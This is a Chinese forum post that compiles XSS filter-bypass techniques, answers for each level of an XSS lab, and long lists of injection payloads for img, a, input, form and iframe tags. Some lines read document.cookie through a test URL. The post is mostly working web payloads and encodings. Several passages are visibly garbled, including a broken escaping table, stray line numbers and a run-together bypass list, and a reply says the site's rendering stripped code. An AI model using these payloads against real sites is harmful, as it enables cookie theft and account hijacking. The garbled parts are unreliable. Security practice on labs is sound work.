首页
社区
课程
招聘
[原创]个人整理XSS攻略以及一些payload大全
发表于: 2020-9-16 00:13 6255

[原创]个人整理XSS攻略以及一些payload大全

2020-9-16 00:13
6255

XSS跨站解题思路
1、如果查看页面源代码无法分析出,观察参数是否是get类型,如果get类型尝试在数值中注入:
<script>alert(1)</script>
<a href='javascript:alert(1)'>ceshi</a>
2、查看源代码,如果有需要闭合的标签:iframe、textarea、xmp、title、noscript、noframes、plaintext标签,需要两头进行闭合,不然HTML解析会报错
3、输出数据位于script之间的话,需要将script进行闭合,如:</script><script>alert(1)</script><script>
4、htmlspecialchars绕过:
在输出部分增加
<div id="body">htmlspecialchars( [输出]) </div>
<div id="body">htmlentities( [输出]) </div>
将 & &
' "
" '
< <

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
        >   &gt;
    在第四题中,在eval中过滤了(),可以通过location.href='javascript:alert%25281%2529'
    eval函数之前先进行了urlencode编码转换,过滤了一遍(),在location.href执行之前又进行了编码转换,所以需要进行两处编码转换,此处是查看源代码之后发现了eval函数,利用eval进行跨站
5、如果查看源代码,发现有// var a = "",并且内容随着输入进行变动,那么可以通过闭合script标签进行攻击绕过:"</script><script> alert(1);</script><script>"
    第二种方式是利用宽字节:%df
6、题目中,如果在输出端使用了htmlspecialchars进行过滤<>'",并有一个点和此处是联动的,可以考虑去探测这个联动的点,输入特殊字符" ' < > ( ) ,如果()被过滤了就跌考虑使用location.href,通过二次URLencode进行加密防止过滤绕过了;location.href='javascript:alert%25281%2529';//"
    如果括号被过滤可以使用反引号
 
7、如果输出点出现在某个表单的属性中,可以尝试闭合双引号",通过添加onclick事件、添加onmouseover等事件进行注入:" onclick="alert(2)
8、如果联动的输出在某个hidden表单中,那么可以尝试通过type进行覆盖,比如
    <input  name=keyword  value="1"  type=hidden> 可以将输入值变为
    <input  name=keyword  value="" onclick="alert(2)"  type = "text"  type=hidden>
    这样就会进行覆盖掉
    第二种方法:
    " accesskey="X" onclick="alert(1)"
    利用accessKey  属性设置或返回元素的快捷键。
    快捷键规定激活元素或使元素获得焦点的快捷键。注释:在不同的浏览器中访问快捷键的方式各有不同:不过在大多数浏览器中,可以将快捷键设置为其他组合。提示:如果超过一个元素拥有相同的快捷键,那么:
    IE, Firefox: 激活下一个被按下快捷键的元素
    Chrome, Safari: 激活最后一个被按下快捷键的元素
    Opera: 激活第一个被按下快捷键的元素
    浏览器                Windows               
    Internet Explorer    Alt+ accesskey           
    Chrome                Alt+ accesskey           
    Firefox                Alt+Shift+ accesskey   
    Safari                Alt+ accesskey           
    Opera   
    Opera 15 或更新的版本:[Alt] + accesskey
    Opera 12.1 或更老的版本:[Shift] [Esc] + accesskey
9、此题查看源码为input注入点,可以首先关闭input标签:"><script>location.href='javascript:alert%281%29;';</script><input type="text、
10、数据从输入到a标签显示,<> & "被过滤了,()被替换了,但是%28%29没有过滤,想到可以使用location,
    '' onclick =javascript:location.href='javascript:alert%281%29;'
11、如果有隐藏的标签,可以尝试通过在url中填入值,看是否被过滤,如果value中双引号被过滤,没法进行闭合就得进行抓包尝试:
    主要考虑以下属性:
            referer
            x-forwarded-for
            x-forward-for
            Cookie

题目解答:
1010 第十五题:
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="" type="hidden">
通过抓包,设置referer进行注入
referer:" type = "" onmouseover=alert(1)//
1020 第七题
" onclick="aalertlert(2)
1020 第八题
" oonnclick="aalertlert(2)
第一关: level1.php?name=<script>alert()</script>
第二关: "onclick="alert()
第三关: 'onclick='alert()
第四关: "onclick="alert()
第五关: "><a href=javascript:alert()>a</a>
第六关: "><a hRef=javascript:alert()>a</a>
第七关: "oonnclick="alert()
第八关: javascr&#x69pt:alert()
第九关: javascr&#x69pt:alert('http://')
第十关: keyword=<xss>&t_link=<3>&t_history=<2>&t_sort=" type=button onclick="alert()

 

四中运行方式
直接调用JS
<script>alert(1)</script>
on事件
<input type="text" onclick="alert(1)">点击报错
JavaScript伪协议
src
<a href="javascript:alert(1)">www.baidu.com</a>
调用外部js
<script src="https://www.cnblogs.com/js/blog-common.min.js"></script>
XSS分类
1、反射型
一次性利用
alert(1)
" <script>alert(1)</script> "
"> <a href='javascript:alert(1);'></a> "
" onclick="alert(1)" "
confirm("提示内容")
prompt("提示内容")
2、存储型:留言板、注册页面利用XSS平台进行盲打
3、dom型
php
<?php phpinfo(); ?>
<?phpinfo();?>
<%phpinfo()%>
<script language=""></script>

 

on事件:
onchange HTML 元素已被改变
onclick 用户点击了 HTML 元素
onmouseover 用户把鼠标移动到 HTML 元素上
onmouseout 用户把鼠标移开 HTML 元素
onkeydown 用户按下键盘按键
onload 浏览器已经完成页面加载
注意的是,需要把"进行闭合,并且保留空格
注意:
特殊标签需要进行闭合,比如
<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
<noscript></noscript>
<noframes></noframe>
<plaintext></plaintext>
注释:
<!---->
//

 

关键字绕过:
空格绕过:使用反引号` 注释绕过:"</script><script>alert(1)</script><script> var a = "%df";alert1;// " onclick="alert(2) hidden 标签绕过:" onclick="alert(2)" type="text 括号绕过" onclick="javascript:alert2括号绕过:javascript:alert1` 不带双引号,a标签中,href
大小写
script
a
十六进制绕过
双写绕过
c在href中转义
关键字过滤
"> <a href=javascript:alert(1); > aaa</a> <"
" Onclick="alert(2)
" oonnclick="alert(2)
通过转换成16进制的HTML实体编码,替换字符
javascript:alert(1)
标准的链接:
javascript:alert('http://')
多个隐藏参数,需要测试各个参数的赋值情况,然后对回显的那个参数进行注入
keyword=1&t_sort=" onclick="alert(1)" type="text
常见的注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
';alert(String.fromCharCode(88,83,83))//
\';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
\";alert(String.fromCharCode(88,83,83))//
--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
 
 <iframe src="http://www.baidu.com" height="250" width="300"></iframe>
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</script>
<script>alert(String.fromCharCode(88, 83, 83))</script>
<script>alert('xss')</script>
<p><svg onload=prompt(/xss/)></p>   //遇到过这种情况
%253Csvg%2520onload%253Dprompt(/xss/)%253E  //<>=双层urlencode
 
在使用加号做字符串连接的时候,中间的js会被执行:
http://xsst.sinaapp.com/example/test1-2.php?page=1%27%2balert(document.cookie)%2b%27
http://xsst.sinaapp.com/example/test1-2-3.php?page=%27%2bjQuery.globalEval(%27a%27%2b%27lert%27%2b%27(document.cookie)%27)%2b%27

<img> 标签

  • XSS利用1:
    <img src=javascript:alert('xss')> //版本,E7.0|IE6.0,才能执行
    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> //版本,E7.0|IE6.0,才能执行
    <img src="URL" style='Xss:expression(alert(/xss/));'> //版本,E7.0|IE6.0,才能执行
    CSS标记XSS
    <img STYLE="background-image:url(javascript:alert('XSS'))"> //版本,E7.0|IE6.0,才能执行

CSS样式表的标记进行XSS转码
<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29"> //版本,E7.0|IE6.0,才能执行

  • XSS利用2:
    <img src="x" onerror="alert(1)"> //可以不加"和;
    原code:

    1
    2
    <img src="x" onerror="alert(1)">
    <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>  //必须要有双引号,不然执行不了

    原code:

    1
    <img src="1" onerror=eval("alert('xss')")></img> //可以去掉双引号
  • XSS利用3:
    <img src=1 onerror=alert('xss')>
    <img src=1 onmouseover=alert('xss') a1=1111>

<a> 标签
标准格式:
<a href="http://www.baidu.com">百度</a>

  • XSS利用1:
    <a href="javascript:alert('xss')">2</a> //可以去掉双引号
    <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a> //不能去掉双引号
    <a href=javascript:eval("alert('xss')")>2</a> //可以去掉双引号
    原code:
    <a href=javascript:eval("alert('xss')")>2</a>
    <a href="javascript:aaa" onmouseover="alert(/xss/)">22222222</a>

    <a href="javascript:alert("xs、s")">2</a>
    <a href=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#47&#120&#115&#115&#47&#41>XSStest</a>
    原code:
    <a href="javascript:alert('xss')">2</a>

  • xss利用2:
    <a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> //base64编码,在谷歌浏览器可以成功解析
    <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">test</a>
    原code:
    PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=

    <script>alert('xss')</script>

  • XSS利用3:
    <a href="" onclick="alert(1)">aaaaa</a> //可以去掉双引号和;
    原code:
    <a href="" onclick="alert(1)">aaaaa</a>

    <a href="" onclick=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>aaaaa</a> //单引号和双引号都可以
    <a href="" onclick=eval(&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41)>aaaaa</a> //可以成功弹窗,如果在url地址栏输入的时候,要进行urlenode编码
    原code:
    eval("alert('xss')")

    <a href="#" onclick=alert(‘\170\163\163’)>test3</a> //可以成功执行
    原code:
    <a href="#" onclick=alert('xss')>test3</a>

  • XSS利用4:
    <a href=kycg.asp?ttt=1000 onmouseover=prompt(123) y=2016>2</a> //可以实现弹窗

<input> 标签
一般格式:<INPUT name="name" value="">

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<input value="" onclick="alert(11)" type="text">
<INPUT name="name" value="01/01/1967" onmouseover=prompt(971874) bad="">
<INPUT name="name" value=""><script>alert(123)</script>
 
小技巧:
当XSS遇到input hidden属性
1、使用expression突破
<input type=hidden style=`x:expression(alert(/xss/))`>
直接利用CSS的expression属性来实现突破,此技巧适用于IE6及以下的浏览器。
 
2​、使用accesskey突破
<input type="hidden" accesskey="X" onclick="alert(/xss/)">
插入之后,使用ALT+SHIFT+X快捷键来触发XSS,此方法我在firefox下面测试通过,其它浏览器尚未可知。
类似这种span标签在网页无触发点,也可以这样子用。
<span id="span"  recieveurl='xxxeId=1' accesskey='X' onclick='alert(/xss/)' bad=''></span>

<form> 标签
<form method=Post action=kycg.asp?ttt=1000 onmouseover=prompt(962613) y=&enddate=2016 > #action后面直接空格
  <input type='text' name='page' value=0>
  <input name='submit' type='submit' value='GO' class="input2">
</form>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<form method=Post action=javascript:alert('xss') >
  <input type='text' name='page' value=0>
  <input name='submit' type='submit' value='GO' class="input2">
</form>
 
<form method=Post action=1 onmouseover=alert(123) bbb=111 >
  <input type='text' name='page' value=0>
  <input name='submit' type='submit' value='GO' class="input2">
</form>
 
 
<form method=Post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
  <input type='text' name='page' value=0>
  <input name='submit' type='submit' value='GO' class="input2">
</form>

<iframe> 标签
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> //谷歌浏览器下实现弹窗
<iframe src=1 onmouseover=alert('xss') y=2016 /><iframe>
<iframe src="javascript:prompt(`xss`);" frameborder="0" width="100%" height="1120px"></iframe> //遇到的有点特别
<iframe src="vbscript:msgbox(123)"></iframe>


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 2
支持
分享
最新回复 (3)
雪    币: 6525
活跃值: (3418)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
这个帖子发出来可能会有很多错误吧,估计大多数的xss代码都被看雪的MD网页渲染给过滤掉了
2020-9-16 11:13
0
雪    币: 4
活跃值: (504)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
Kisesy 这个帖子发出来可能会有很多错误吧,估计大多数的xss代码都被看雪的MD网页渲染给过滤掉了
是的,无语。。。
2020-9-16 20:52
0
雪    币: 4
活跃值: (504)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
我自己顶吧
2020-9-16 20:55
0
游客
登录 | 注册 方可回帖
返回
//